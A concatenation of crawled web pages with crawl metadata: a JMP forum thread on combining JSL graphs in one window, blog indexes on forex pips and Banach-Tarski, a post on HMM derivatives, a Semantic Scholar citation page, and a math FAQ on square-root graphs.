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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8455793,"math_prob":1.0000029,"size":4344,"snap":"2021-43-2021-49","text_gpt3_token_len":1906,"char_repetition_ratio":0.24562211,"word_repetition_ratio":0.33048433,"special_character_ratio":0.45234805,"punctuation_ratio":0.17539027,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99960965,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-19T23:41:26Z\",\"WARC-Record-ID\":\"<urn:uuid:87874e4b-4711-4886-822b-005909b74a34>\",\"Content-Length\":\"96325\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:330e5c9c-e95e-4cf0-852b-e3cfa12860f8>\",\"WARC-Concurrent-To\":\"<urn:uuid:cac58425-1774-45f0-a03c-fdcbcee234f1>\",\"WARC-IP-Address\":\"192.0.78.25\",\"WARC-Target-URI\":\"https://breathmath.com/2016/11/24/linear-inequalities-class-xi-exercise-6-1-1-10/\",\"WARC-Payload-Digest\":\"sha1:ORIVFRK7LGL76RUEX7HPIWZBO752MPRP\",\"WARC-Block-Digest\":\"sha1:Y5LIKBFD3FWPI5VL3AXQDPJJ7SVVBCB2\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585290.83_warc_CC-MAIN-20211019233130-20211020023130-00453.warc.gz\"}"} |
https://community.jmp.com/t5/Discussions/JSL-How-to-add-graph-to-an-existing-window/m-p/221205/highlight/true | [
"Choose Language Hide Translation Bar\nHighlighted\n\n## JSL: How to add graph to an existing window\n\nHi, I am using JSL to plot with graph builder.\n\nEvery graph usally created in a seperate window which opens too many window.\n\nI want to put each graph into the same window then close the new created window.\n\nBelow are my draft jsl, can anyone help me to make it work?\n\nThank you.\n\n``````WW1 = New Window( \"graph1\", Graph Builder() );\nWindow( \"graph1\" ) << Close Window();\n\nWW2 = New Window( \"graph2\", Graph Builder() );\nWindow( \"graph2\" ) << Close Window();\n\nWW3 = New Window( \"graph3\", Graph Builder() );\nWindow( \"graph3\" ) << Close Window();``````\n\n2 ACCEPTED SOLUTIONS\n\nAccepted Solutions\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nTake a look at this example. It creates one window with 20 graphs defined for it, with no additional graphs being created\n\n``````Names Default To Here( 1 );\ndt = Open( \"\\$SAMPLE_DATA/semiconductor capability.jmp\" );\n\nnw = New Window( \"graphs\", myvlb = V List Box() );\n\ncolNamesList = dt << get column names( continuous, string );\n\nFor( i = 1, i <= 20, i++,\nmyvlb << append( oneway( x( :site ), y( Column( colNamesList[i] ) ) ) )\n);``````\nJim\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nThank you for the help.\n\nI will try to put this with my scripts.\n\n@txnelson wrote:\n\nTake a look at this example. It creates one window with 20 graphs defined for it, with no additional graphs being created\n\n``````Names Default To Here( 1 );\ndt = Open( \"\\$SAMPLE_DATA/semiconductor capability.jmp\" );\n\nnw = New Window( \"graphs\", myvlb = V List Box() );\n\ncolNamesList = dt << get column names( continuous, string );\n\nFor( i = 1, i <= 20, i++,\nmyvlb << append( oneway( x( :site ), y( Column( colNamesList[i] ) ) ) )\n);``````\n\n7 REPLIES 7\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nHere are two ways to have multiple outputs in one window. There are other ways too\n\n``````names default to here(1);\ndt=open(\"\\$SAMPLE_DATA/big class.jmp\");\n\nnw=new window(\"Example 1\",\nbivariate(x(:height), y(:weight)),\noneway(x(:sex),y(:weight))\n);\n\nnw2=new window(\"Example 2\");\nnw2<<append(bivariate(x(:height), y(:weight)));\nnw2<<append(oneway(x(:sex),y(:weight)));\n``````\nJim\n\n## Re: JSL: How to add graph to an existing window\n\nThe journal window might be a solution as well. Send the <<journal command to the windows before you close them. The journal window keeps a tall list of the entries.\n\nCraige\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nI used journal before, but journal will freeze the graph, meaning I can not select the the data in the graph anymore, it is more like a picture.\n\nThank you.\n\n@Craige_Hales wrote:\n\nThe journal window might be a solution as well. Send the <<journal command to the windows before you close them. The journal window keeps a tall list of the entries.\n\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nThanks for the solution, for some reason it doesn't work in my script.\n\nCan you help to modify based on my script below?\n\nI am ploting over 200 graph which can only be done with graph builder.\n\nSo I hope to add the graph to a same window graph, then close the graph builder window after ploting.\n\nOtherwise, I end up open 200 windows.\n\n``````WW1 = New Window( \"graph1\", Graph Builder() );\nWindow( \"graph1\" ) << Close Window();\n\nWW2 = New Window( \"graph2\", Graph Builder() );\nWindow( \"graph2\" ) << Close Window();\n\nWW3 = New Window( \"graph3\", Graph Builder() );\nWindow( \"graph3\" ) << Close Window();``````\n\n@txnelson wrote:\n\nHere are two ways to have multiple outputs in one window. There are other ways too\n\n``````names default to here(1);\ndt=open(\"\\$SAMPLE_DATA/big class.jmp\");\n\nnw=new window(\"Example 1\",\nbivariate(x(:height), y(:weight)),\noneway(x(:sex),y(:weight))\n);\n\nnw2=new window(\"Example 2\");\nnw2<<append(bivariate(x(:height), y(:weight)));\nnw2<<append(oneway(x(:sex),y(:weight)));``````\n\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nTake a look at this example. It creates one window with 20 graphs defined for it, with no additional graphs being created\n\n``````Names Default To Here( 1 );\ndt = Open( \"\\$SAMPLE_DATA/semiconductor capability.jmp\" );\n\nnw = New Window( \"graphs\", myvlb = V List Box() );\n\ncolNamesList = dt << get column names( continuous, string );\n\nFor( i = 1, i <= 20, i++,\nmyvlb << append( oneway( x( :site ), y( Column( colNamesList[i] ) ) ) )\n);``````\nJim\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nThank you for the help.\n\nI will try to put this with my scripts.\n\n@txnelson wrote:\n\nTake a look at this example. It creates one window with 20 graphs defined for it, with no additional graphs being created\n\n``````Names Default To Here( 1 );\ndt = Open( \"\\$SAMPLE_DATA/semiconductor capability.jmp\" );\n\nnw = New Window( \"graphs\", myvlb = V List Box() );\n\ncolNamesList = dt << get column names( continuous, string );\n\nFor( i = 1, i <= 20, i++,\nmyvlb << append( oneway( x( :site ), y( Column( colNamesList[i] ) ) ) )\n);``````\n\nHighlighted\n\n## Re: JSL: How to add graph to an existing window\n\nHi @Stokes ,\n\n@txnelson and @Craige_Hales gave good examples. another way to do it is to start with just one window. if you have a data table open, try using this script. once you make the graphs you want in that window you can save the script from the plot.\n\n``````New window (\"lots of graphs\",\nv list box (\nGraph Builder(),\nGraph Builder(),\nGraph Builder(),\nGraph Builder(),\nGraph Builder(),\nGraph Builder(),\n)\n);\n``````"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8095696,"math_prob":0.835649,"size":4608,"snap":"2020-10-2020-16","text_gpt3_token_len":1239,"char_repetition_ratio":0.14205039,"word_repetition_ratio":0.6812903,"special_character_ratio":0.3059896,"punctuation_ratio":0.18538713,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9915696,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-18T13:36:04Z\",\"WARC-Record-ID\":\"<urn:uuid:92e585c1-77c6-458e-8eb7-a8c7ff52d5ca>\",\"Content-Length\":\"800326\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1cb3a084-fa83-434b-bc46-78c5644cf7d1>\",\"WARC-Concurrent-To\":\"<urn:uuid:12942278-d4b3-4904-bcc8-de62269b5e48>\",\"WARC-IP-Address\":\"208.74.205.23\",\"WARC-Target-URI\":\"https://community.jmp.com/t5/Discussions/JSL-How-to-add-graph-to-an-existing-window/m-p/221205/highlight/true\",\"WARC-Payload-Digest\":\"sha1:BJQCXQ5B23W4YFVOB5JBJNNHFLDKB3JL\",\"WARC-Block-Digest\":\"sha1:RC5MMXKKRVK6AQ2Z3BLFHUJK36BAFH6W\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875143695.67_warc_CC-MAIN-20200218120100-20200218150100-00032.warc.gz\"}"} |
https://www.everyanswer.org/tag/lot-size/ | [
"## What Is MCX iCOMDEX Indices?\n\nMCX iCOMDEX series of commodity indices are excess return indices which consist of a composite index (constituting futures…\n\n## How Do You Calculate An Index Lot Size?\n\nThe pip value of 1 units of US30 is US\\$0.01. The 1 pip size of US30 is 0.01,…\n\n## How Do You Calculate Pips In Indices?\n\nFor synthetic accounts, the pip value is calculated in USD. How much is a pip in indices? In…\n\n## Does MT4 Have A Pip Calculator?\n\nDownload Your pip value calculator (for MT4), Free How are pips calculated in forex mt4? 1 For currency…\n\n## How Do You Calculate Pips On JPY Pairs?\n\nJapanese yen (JPY) pairs are quoted with 2 decimal places, marking a notable exception to the four decimal…\n\n## How Do You Calculate Lot Size In Leverage?\n\nTo calculate margin needed given the leverage is a simple calculation even when the currency pair is quoted…\n\n## How Much Is A Pip Per Lot?\n\nTypically, one lot is worth \\$100,000 , and a pip unit is stated in the amount of \\$0.0001…\n\n## How Do You Calculate Pips Usoil?\n\nHow is usoil pips calculated? crude oil pip value Most trading platforms consider a pip in crude oil…"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9229529,"math_prob":0.9756863,"size":998,"snap":"2023-40-2023-50","text_gpt3_token_len":240,"char_repetition_ratio":0.115694165,"word_repetition_ratio":0.0,"special_character_ratio":0.24448898,"punctuation_ratio":0.089108914,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9861348,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-10T13:26:38Z\",\"WARC-Record-ID\":\"<urn:uuid:b2cd39dc-be18-48b6-ace6-c7ac6ddc8753>\",\"Content-Length\":\"111509\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9bd98a4c-47ec-4825-aa8b-b2902e71c4a4>\",\"WARC-Concurrent-To\":\"<urn:uuid:89949c75-500c-4053-84bd-daab52936c81>\",\"WARC-IP-Address\":\"172.67.164.68\",\"WARC-Target-URI\":\"https://www.everyanswer.org/tag/lot-size/\",\"WARC-Payload-Digest\":\"sha1:E3M5DVWWK3VCEHFQQ3LLMPOKJIQUVQX2\",\"WARC-Block-Digest\":\"sha1:2VI2FFAXWUYKWUV456FXY67EZMDBM3XD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679102469.83_warc_CC-MAIN-20231210123756-20231210153756-00190.warc.gz\"}"} |
https://thetwomeatmeal.wordpress.com/tag/mablowrimo/ | [
"# Gracious Living\n\nMeasures and Non-Measurable Sets\nNovember 23, 2010, 14:22\nFiled under: Analysis, Math | Tags: , , , ,\n\nThis is very late, but don’t worry, I’ll get another one up tonight.\n\nOne of the big lessons learned from the Banach-Tarski paradox is that even in something as simple as a unit ball, we can find sets of impossible or undefinable volume. In the discussion preceding the proof, I also mentioned the paradoxes surrounding length of fractal curves in",
null,
"$\\mathbb{R}^2$ and area in",
null,
"$\\mathbb{R}^3$. Together, these present us with a crisis: how can we characterize length, area, and volume? The answer to this crisis was developed around the turn of the century by heroes like Borel and Lebesgue, and it’s called measure theory.\n\nBanach-Tarski part 2\nNovember 21, 2010, 23:30\nFiled under: Algebra, Math | Tags: , , , , ,\n\nSo I sort of left you hanging last time. We talked about equidecomposability, showed that",
null,
"$F_2$ was paradoxical under its own action on itself, and embedded",
null,
"$F_2$ into",
null,
"$SO(3)$. From here, it just becomes a matter of putting all the steps together: first the sphere, then the ball minus its center, then the whole ball.\n\nBanach-Tarski part 1\nNovember 21, 2010, 06:33\nFiled under: Algebra, Math | Tags: , , , , , ,\n\nOkay, here’s the moment you’ve been waiting for: the proof of the Banach-Tarski Paradox. Here’s what the paradox says:\n\nTheorem (Banach-Tarski). There are a finite number of disjoint subsets of",
null,
"$\\mathbb{R}^3$ whose union is the unit ball, and such that we can apply an isometry to each of them and wind up with disjoint sets whose union is a pair of unit balls.\n\nOr “we can cut a unit ball up into a finite number of pieces, rearrange them, and put them back together to make two balls.”\n\nProducts of Groups\nNovember 19, 2010, 22:49\nFiled under: Algebra, Math | Tags: , , , ,\n\nUgh, so, I’ve been really busy today and haven’t had the time to do a Banach-Tarski post. Since I really do want to see MaBloWriMo to the end, I’m going to take a break from the main exposition and quickly introduce something useful. There are a couple major ways of combining two groups into one. The most important one, called the direct product, is analogous to the product of topological spaces. I know this is sort of a wussy post — sorry.\n\nIsometries of Euclidean Space\nNovember 18, 2010, 21:06\nFiled under: Algebra, Math | Tags: , , , , ,\n\nFinite-dimensional vector spaces",
null,
"$\\mathbb{R}^n$ come packed with something extra: an inner product. An inner product is a map that multiplies two vectors and gives you a scalar. It’s usually written with a dot, or with angle brackets. For real vector spaces, we define it to be a map",
null,
"$V\\times V\\rightarrow\\mathbb{R}$ with the following properties:\n\n• Symmetry:",
null,
"$\\langle x,y\\rangle=\\langle y,x\\rangle$\n• Bilinearity:",
null,
"$\\langle ax+bx^\\prime,y\\rangle=a\\langle x,y\\rangle+b\\langle x^\\prime,y\\rangle$, where",
null,
"$a,b$ are scalars and",
null,
"$x^\\prime$ is another vector, and the same for the second coordinate\n• Positive-definiteness:",
null,
"$\\langle x,x\\rangle\\ge 0$, and it is only equal to",
null,
"$0$ when",
null,
"$x=0$.\n\n(I’m going to stop using boldface for vectors, since it’s usually clear what’s a vector and what’s not.) One of the uses of an inner product is to define the length of a vector: just set",
null,
"$\\|x\\|=\\sqrt{\\langle x,x\\rangle}$. This is only",
null,
"$0$ if",
null,
"$x$ is, and otherwise it’s always real and positive because the inner product is positive definite. Another use is to define the angle between two nonzero vectors: set",
null,
"$\\langle \\cos\\theta=\\frac{\\langle x,y\\rangle}{\\|x\\|\\|y\\|}$. In particular,",
null,
"$\\langle \\theta$ is right iff",
null,
"$\\langle x,y\\rangle=0$. In this case, we say",
null,
"$x$ and",
null,
"$y$ are orthogonal.\n\nIn Euclidean space, the inner product is the dot product:",
null,
"$\\langle (x_1,x_2,\\dotsc,x_n),(y_1,y_2,\\dotsc,y_n)=x_1y_1+x_2y_2+\\dotsb+x_ny_n$. This is primarily what we’re concerned with today, so we’ll return to abstract inner products another day.\n\nGroup Actions\nNovember 16, 2010, 15:00\nFiled under: Algebra, Math | Tags: , , , , ,\n\nToday we’re going to take the abstract group machinery we’ve been building up, and unleash it on some sets. When mathematicians say that “groups describe symmetry,” this is exactly what they’re talking about. Say we have a set, and some “symmetries” of that set. Pretty much any definition of “symmetry” will take it to be a bijection on the set, and we moreover expect to be able to undo symmetries, to compose them (associatively), and to use the identity map as a symmetry. These heuristics are just informal versions of the group axioms! The element we’ve been leaving out so far, though, is the set itself on which the symmetries are founded. We say that this symmetry group acts on this set. Below, let’s make this formal.\n\nFree Groups, Generators, and Relations\nNovember 15, 2010, 07:03\nFiled under: Algebra, Math | Tags: , , ,\n\nLast time we talked about the cosets of a subgroup. We showed that for a normal subgroup, the left and right cosets coincide, and thus you could multiply any two cosets to get a third coset, defining a group operation on the set of equivalence classes of cosets, or quotient group. We proved the powerful First Isomorphism Theorem, which characterized normal subgroups as the kernels of homomorphisms and showed that the quotient of a homomorphism’s domain with its kernel was isomorphic to its image.\n\nToday, we’re going to introduce a new “type” of group and use the First Isomorphism Theorem to develop a new way of representing groups."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.92039335,"math_prob":0.9756636,"size":4914,"snap":"2019-43-2019-47","text_gpt3_token_len":1144,"char_repetition_ratio":0.11323829,"word_repetition_ratio":0.03933254,"special_character_ratio":0.21448922,"punctuation_ratio":0.15277778,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99603426,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-17T13:55:02Z\",\"WARC-Record-ID\":\"<urn:uuid:84941b7a-960c-4cd3-8426-0d8f06e0587f>\",\"Content-Length\":\"54543\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9a8bc0a5-6f27-4070-a135-0e0b89f11c31>\",\"WARC-Concurrent-To\":\"<urn:uuid:8e72e871-aa15-41b7-808a-a939b076c124>\",\"WARC-IP-Address\":\"192.0.78.12\",\"WARC-Target-URI\":\"https://thetwomeatmeal.wordpress.com/tag/mablowrimo/\",\"WARC-Payload-Digest\":\"sha1:5KIEDQLYN4U3I73V7VI5TIAJIEYFM6JQ\",\"WARC-Block-Digest\":\"sha1:VCXYWZ4N5H4PC6OH6FO3HZHI7WFUU5MN\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496668954.85_warc_CC-MAIN-20191117115233-20191117143233-00195.warc.gz\"}"} |
https://statmoddev.stat.columbia.edu/2019/12/16/beautiful-paper-on-hmms-and-derivatives/ | [
"## Beautiful paper on HMMs and derivatives\n\nI’ve been talking to Michael Betancourt and Charles Margossian about implementing analytic derivatives for HMMs in Stan to reduce memory overhead and increase speed. For now, one has to implement the forward algorithm in the Stan program and let Stan autodiff through it. I worked out the adjoint method (aka reverse-mode autodiff) derivatives of the HMM likelihood (basically, reverse-mode autodiffing the forward algorithm), but it was stepwise and the connection to forward-backward wasn’t immediately obvious. So I thought maybe someone had already put a bow on this in the literature.\n\nIt was a challenging Google search, but I was rewarded with one of the best papers I’ve read in ages and by far the best thing I’ve ever read on hidden Markov models (HMM) and their application:\n\nThe paper provides elegant one-liners for the forward algorithm, the backward algorithm, the likelihood, and the derivative of the likelihood with respect to model parameters. For example, here’s the formula for the likelihood:\n\n$latex L = \\pi^{\\top} \\cdot \\textrm{diag}(B_1) \\cdot A \\cdot \\textrm{diag}(B_2) \\cdot \\cdots A \\cdot \\textrm{diag}(B_T) \\cdot 1.$\n\nwhere $latex \\pi$ is the initial state distributions, $latex B_t$ is the vector of emission densities for the states, $latex A$ is the stochastic transition matrix, and $latex 1$ is a vector of 1s. Qin et al.’s software uses an external package to differentiate the solution for $latex \\pi$ as the stationary distribution for the transition matrix $latex A,$, i.e., $latex \\pi^{\\top} \\cdot A = \\pi^{\\top}.$\n\nThe forward and backward algoritms are stated just as neatly, as are the derivatives of the likelihood w.r.t parameters. The authors put the likelihood and derivatives together to construct a quasi-Newton optimizer to fit max likelihood estimates of HMM. They even use second derivatives for estimating standard errors. For Stan, we just need the derivatives to plug into our existing quasi-Newton solvers and Hamiltonian Monte Carlo.\n\nBut that’s not all. The paper’s about an application of HMMs to single-channel kinetics in chemistry, a topic about which I know nothing. The paper starts with a very nice overview of HMMs and why they’re being chosen for this chemistry problem. The paper ends with a wonderfully in-depth discussion of the statistical and computational properties of the model. Among the highlights is the joint modeling of multiple experimental data sets with varying measurement error.\n\nIn conclusion, if you want to understand HMMs and are comfortable with matrix derivatives, read this paper. Somehow the applied math crowd gets these algorithms down correctly and cleanly where the stats and computer science literatures flail in comparison.\n\nOf course, for stability in avoiding underflow of the densities, we’ll need to work on the log scale. Or if we want to keep the matrix formulation, we can use the incremental rescaling trick to rescale the columns of the forward algorithm and accmulate our own exponent to avoid underflow. We’ll also have to autodiff through the solution to the stationary distirbution algorithm, but Stan’s internals make that particular piece of plumbing easy to fit and also a potential point of dervative optimization. We also want to generalize to the case where the transition matrix $latex A$ depends on predictors at each time step through a multi-logit regression. With that, we’d be able to fit anything that can be fit with the nicely designed and documented R package moveHmm, which can already be used in R to fit a range of maximum likelihood estimates for HMMs.\n\n1.",
null,
"Arnaud Doucet says:\n\nFor information, the derivative of the forward algorithm (optimal filter/predictor) and the corresponding likelihood for finite state-space HMM can also be found in the following conference paper:\nFrancois LeGland and Laurent Mevel, Recursive estimation in hidden Markov models,Proceedings of the 36th IEEE Conference on Decision and Control, vol. 4, pp. 3468–3473, 1997.\nThese authors use such recursions to propose an online parameter estimation scheme; see also the subsequence paper:\nFrancois LeGland and Laurent Mevel, Exponential forgetting and geometric ergodicity in hidden Markov models, Mathematics of Control, Signals and Systems, vol. 13, no. 1, pp. 63–93, 2000.\n\n•",
null,
"Bob Carpenter says:\n\nThanks for the link. The LeGland and Mevel paper is much more mathematical and much harder for me to read. It cites an earlier paper with an ergodicity result, but I’m not sure for which sampler. In our practical experience, Hamiltonian Monte Carlo (HMC) has mixed well for HMMs, but autodiffing the forward algorithm in Stan is a lot slower than a custom expectation-maximization (EM) implementation. We can also use Stan’s quasi-Newton optimizer (L-BFGS), which takes advantage of derivatives (and approximate Hessians), to find maximum likelihood estimates (MLE) efficiently. That’ll also get faster and more scalable when we move from autodiffing the forward algorithm to analytical gradients.\n\nIf I’m understanding the gist of their recursive algorithm, it’s very similar to how I implemented stochastic gradient descent (SGD) for HMMs and conditional random fields (CRFs) in LingPipe (the NLP toolkit I worked on before Stan). I built recursive accumulators following the forward backward algorithm and fed them into a standard batched SGD with an interface to control the learning rate (the ones that satisfy the Robbins-Monro conditions work in theory, but not so well in practice). The main reason I chose to go back into academia to work with Andrew is so that I could understand discussions like these :-).\n\nThis reply has so many acronyms I feel like I owe readers a glossary.\n\n2.",
null,
"Mark Johnson says:\n\nI remember Jason Eisner telling me about the connection between forward backward and auto-diff in the early 2000s; I don’t know if he published anything on this, though. This came up in his work on the Dyna framework, I believe. I can chase this up if you are interested.\n\n•",
null,
"Adam says:\n\nMark,\n\n•",
null,
"Mark Johnson says:\n\nI haven’t seen this paper, but yes, it seems to have all the things that Jason was saying (although I recall him saying these things a decade before the paper).\n\nAnyway, thanks for the reference, and Bob can add this to his bibliography!\n\nMark\n\n•",
null,
"Bob Carpenter says:"
] | [
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"https://secure.gravatar.com/avatar/77f083909d955b715846250a33340a14",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9154794,"math_prob":0.85732347,"size":7501,"snap":"2022-05-2022-21","text_gpt3_token_len":1643,"char_repetition_ratio":0.118714154,"word_repetition_ratio":0.0034013605,"special_character_ratio":0.20437275,"punctuation_ratio":0.10280374,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97161293,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-25T11:12:15Z\",\"WARC-Record-ID\":\"<urn:uuid:de76e469-5e15-41a0-b9c3-5447b9015643>\",\"Content-Length\":\"49187\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1fb8fed6-c2a3-4271-a16e-28c532bb9d5a>\",\"WARC-Concurrent-To\":\"<urn:uuid:1cbc853f-fed9-4543-bbb7-c17047d66bd1>\",\"WARC-IP-Address\":\"104.18.35.96\",\"WARC-Target-URI\":\"https://statmoddev.stat.columbia.edu/2019/12/16/beautiful-paper-on-hmms-and-derivatives/\",\"WARC-Payload-Digest\":\"sha1:NWBOGUVJIDVYCRXDIES5RYI5PI735BM6\",\"WARC-Block-Digest\":\"sha1:B5ETRWAWUO5UMXY6BXISOXMWLRVRKJYA\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662584398.89_warc_CC-MAIN-20220525085552-20220525115552-00077.warc.gz\"}"} |
https://www.semanticscholar.org/paper/Dynamic-Conditional-Correlation-Engle/70152f0a5d7090530b888437f5c022e541dc9fd3 | [
"# Dynamic Conditional Correlation\n\n```@article{Engle2002DynamicCC,\ntitle={Dynamic Conditional Correlation},\nauthor={Robert F. Engle},\njournal={Journal of Business \\& Economic Statistics},\nyear={2002},\nvolume={20},\npages={339 - 350}\n}```\n• R. Engle\n• Published 1 July 2002\n• Mathematics\n• Journal of Business & Economic Statistics\nTime varying correlations are often estimated with multivariate generalized autoregressive conditional heteroskedasticity (GARCH) models that are linear in squares and cross products of the data. A new class of multivariate models called dynamic conditional correlation models is proposed. These have the flexibility of univariate GARCH models coupled with parsimonious parametric models for the correlations. They are not linear but can often be estimated very simply with univariate or two-step…\n4,235 Citations\n\n### Average Conditional Correlation and Tree Structures for Multivariate GARCH Models\n\n• Economics, Mathematics\n• 2004\nWe propose a simple class of multivariate GARCH models, allowing for time-varying conditional correlations. Estimates for time-varying conditional correlations are constructed by means of a convex\n\n### A General Multivariate Threshold GARCH Model With Dynamic Conditional Correlations\n\n• Economics, Mathematics\n• 2007\nWe introduce a new multivariate GARCH model with multivariate thresholds in conditional correlations and develop a two-step estimation procedure that is feasible in large dimensional applications.\n\n### Dynamic Conditional Correlation GARCH: A Multivariate Time Series Novel using a Bayesian Approach\n\n• Economics\n• 2020\nThe Dynamic Conditional Correlation GARCH (DCC-GARCH) mutation model is considered using a Monte Carlo approach via Markov chains in the estimation of parameters, time-dependence variation is\n\n### Multivariate Autoregressive Conditional Heteroskedasticity with Smooth Transitions in Conditional Correlations\n\n• Mathematics\n• 2005\nIn this paper we propose a new multivariate GARCH model with time-varying conditional correlation structure. The approach adopted here is based on the decomposition of the covariances into\n\n### The variance implied conditional correlation\n\n• Economics\nThe European Journal of Finance\n• 2019\nABSTRACT We apply univariate GARCH models to construct a computationally simple filter for estimating the conditional correlation matrix of asset returns. The proposed Variance Implied Conditional\n\n### A local dynamic conditional correlation model\n\nThis paper introduces the idea that the variances or correlations in financial returns may all change conditionally and slowly over time. A multi-step local dynamic conditional correlation model is\n\n### Cointegration models with non Gaussian GARCH innovations\n\n• Mathematics\n• 2018\nThis paper presents the estimation procedures for a bivariate cointegration model when the errors are generated by a constant conditional correlation model. In particular, the method of maximum\n\n### Multivariate Stochastic Volatility Models: Bayesian Estimation and Model Comparison\n\n• Mathematics, Economics\n• 2006\nIn this paper we show that fully likelihood-based estimation and comparison of multivariate stochastic volatility (SV) models can be easily performed via a freely available Bayesian software called\n\n### A Geometric GARCH Framework for Covariance Dynamics\n\n• Economics\n• 2016\nThis paper develops new multivariate GARCH models that respect intrinsic geometric properties of covariance matrix, and are physically meaningful. These models can be specified using either asset\n\n### Title Stata.com Mgarch — Multivariate Garch Models\n\n• Economics\nDescription Syntax Remarks and examples References Also see Description mgarch estimates the parameters of multivariate generalized autoregressive conditional-heteroskedasticity (MGARCH) models."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.80841845,"math_prob":0.9080244,"size":5613,"snap":"2022-40-2023-06","text_gpt3_token_len":1106,"char_repetition_ratio":0.18933856,"word_repetition_ratio":0.007936508,"special_character_ratio":0.17762338,"punctuation_ratio":0.05456853,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9643428,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-26T06:40:31Z\",\"WARC-Record-ID\":\"<urn:uuid:4a0cbc07-ed1c-446c-8262-4e459bcda60a>\",\"Content-Length\":\"404217\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:86187eab-10e7-4fbe-a715-8d1f69c20bfb>\",\"WARC-Concurrent-To\":\"<urn:uuid:01f83cbb-6492-424d-8f49-c7c5a606fd0c>\",\"WARC-IP-Address\":\"18.154.227.111\",\"WARC-Target-URI\":\"https://www.semanticscholar.org/paper/Dynamic-Conditional-Correlation-Engle/70152f0a5d7090530b888437f5c022e541dc9fd3\",\"WARC-Payload-Digest\":\"sha1:ICAIAVNXCEZIEQCXBMHJU7IAEXP5JIGM\",\"WARC-Block-Digest\":\"sha1:IZUWKYGIJAAIWHRFA2MTG7JNJRDJHAVO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030334802.16_warc_CC-MAIN-20220926051040-20220926081040-00272.warc.gz\"}"} |
https://www.fmaths.com/square-root/faq-how-to-graph-square-root.html | [
"# FAQ: How To Graph Square Root?\n\n## How do you find the root of a graph?\n\nA root is a value for which a given function equals zero. When that function is plotted on a graph, the roots are points where the function crosses the x-axis. For a function, f(x), the roots are the values of x for which f(x)=0 f ( x ) = 0.\n\n## What is a square root graph called?\n\nA radical function contains a radical expression with the independent variable (usually x) in the radicand. Usually radical equations where the radical is a square root is called square root functions.\n\n## How do you transform a square root function?\n\nChanging the value of a results in a vertical stretch or compression, and changing the sign of a results in a reflection across a horizontal axis. Changing the value of h results in a horizontal shift, and changing the value of k results in a vertical shift. Now think about the square root function f(x) = a√(x – k.\n\n## How do you estimate the solution of a graph?\n\nUSING A GRAPH TO ESTIMATE THE SOLUTION OF A SYSTEM\n\n1. Step 1: To sketch the graph of the equations, write them in slope-intercept form.\n2. Step 2: Find the point of intersection of the lines.\n3. Step 3: Solve the system algebraically.\n4. Step 4: Substitute the expression for x in the other equation and solve.\n5. Step 5:\n6. Step 6:\n7. Step 1:\n8. Step 